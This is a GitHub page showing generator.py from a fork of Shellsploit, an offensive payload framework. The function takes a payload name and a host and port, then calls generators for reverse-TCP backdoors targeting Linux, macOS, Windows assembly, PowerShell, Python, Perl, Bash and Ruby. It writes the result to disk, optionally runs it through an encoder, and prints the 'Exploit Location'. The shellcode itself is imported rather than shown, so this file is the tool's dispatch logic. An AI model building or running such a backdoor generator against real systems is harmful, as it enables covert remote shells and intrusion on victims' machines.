forked from laudarch/Shellsploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgenerator.py
More file actions
97 lines (81 loc) · 2.61 KB
/
Copy pathgenerator.py
File metadata and controls
97 lines (81 loc) · 2.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
def process( data, HOST, PORT, ENCODER=False, logger=True):
logfile = None
extension = None
if logger == True:
from random import randint
from os import path
while True:
logfile = "{0}.".format(str(randint(0, 999999999)))
if not path.isfile(logfile):
break
else:
logfile = logger
if data == "backdoors/linux86/reverse_tcp":
from .backdoors.main import linx86reverse_tcp
extension = "elf"
logs = linx86reverse_tcp( HOST,PORT)
elif data == "backdoors/osx86/reverse_tcp":
from .backdoors.main import macosx86reverse_tcp
extension = "macho"
logs = macosx86reverse_tcp( HOST,PORT)
elif data == "backdoors/linux64/reverse_tcp":
from .backdoors.main import linx64reverse_tcp
extension = "elf"
logs = linx64reverse_tcp( HOST,PORT)
#elif data == "osx/x64/reverse_tcp":
#pass
#elif data == "windows/x86/reverse_tcp":
#from backdoors.main import winreverse_tcp
#extension = "exe"
#logs = winreverse_tcp( HOST,PORT)
elif data == "backdoors/php/reverse_tcp":
pass
elif data == "backdoors/asp/reverse_tcp":
pass
elif data == "backdoors/jsp/reverse_tcp":
pass
elif data == "backdoors/war/reverse_tcp":
pass
elif data == "backdoors/unix/python/reverse_tcp":
from .backdoors.main import pyreverse_tcp
extension = "py"
logs = pyreverse_tcp( HOST,PORT)
elif data == "backdoors/unix/perl/reverse_tcp":
from .backdoors.main import plreverse_tcp
extension = "pl"
logs = plreverse_tcp( HOST,PORT)
elif data == "backdoors/unix/bash/reverse_tcp":
from .backdoors.main import shreverse_tcp
extension = "sh"
logs = shreverse_tcp( HOST,PORT)
elif data == "backdoors/unix/ruby/reverse_tcp":
from .backdoors.main import rbreverse_tcp
extension = "rb"
logs = rbreverse_tcp( HOST,PORT)
elif data == "backdoors/windows/asm/reverse_tcp":
from .backdoors.main import asmreverse_tcp
extension = "s"
logs = asmreverse_tcp( HOST,PORT)
elif data == "backdoors/windows/powershell/reverse_tcp":
from .backdoors.main import powershell
extension = "ps1"
logs = powershell( HOST,PORT)
savefile = [logfile if logger != True else logfile+extension]
if data in [
"backdoors/linux86/reverse_tcp",
"backdoors/osx86/reverse_tcp",
"backdoors/osx64/reverse_tcp",
"backdoors/windowsx86/reverse_tcp"
]:
exploit = open(savefile[0], "wb")
exploit.write(logs.decode("hex"))
else:
exploit = open(savefile[0], "w")
exploit.write(logs)
exploit.close()
import os
path = os.getcwd()+os.sep+savefile[0].replace("\n", "")
if ENCODER:
from .encoders.starter import control
control(payload=ENCODER, files=[path])
print ("\n\n\t Exploit Location : {0} \n\n".format(path))